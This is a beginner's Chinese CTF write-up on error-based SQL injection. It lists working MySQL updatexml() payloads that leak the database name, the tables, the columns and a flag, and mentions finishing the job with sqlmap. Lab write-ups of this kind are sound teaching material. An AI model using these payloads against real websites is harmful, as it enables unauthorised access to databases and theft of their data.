报错注入
首先题目提示是报错注入,我们先尝试and 1=1 万能测试句:
发现是存在注入的,接着我们报错出数据库:
?id=1 and updatexml(1,concat('~',database()),1) --+
报错出当前数据库是sqli,接着我们报错出表:
?id=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='sqli')),1) --+
这里说一下为什么要用group_concat,这段代码是将所有数据显示出来,以防止数据库中有多个列需要我们一个一个的来爆破,而concat的作用是将数据拿一个符号连接起来。
接下来我们爆破flag这个表里面的列:
?id=1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='flag')),1) --+
最后我们字段:
?id=1 and updatexml(1,concat('~',(select flag from flag)),1) --+
得到flag,但是flag得到的并不全,试了好多方法都不行,如果有大佬知道手工的方法请私聊我,最后我使用sqlmap得到的全部flag:
注:萌新第一次写write up,不足之处还请见谅,不对之处欢迎批评指正。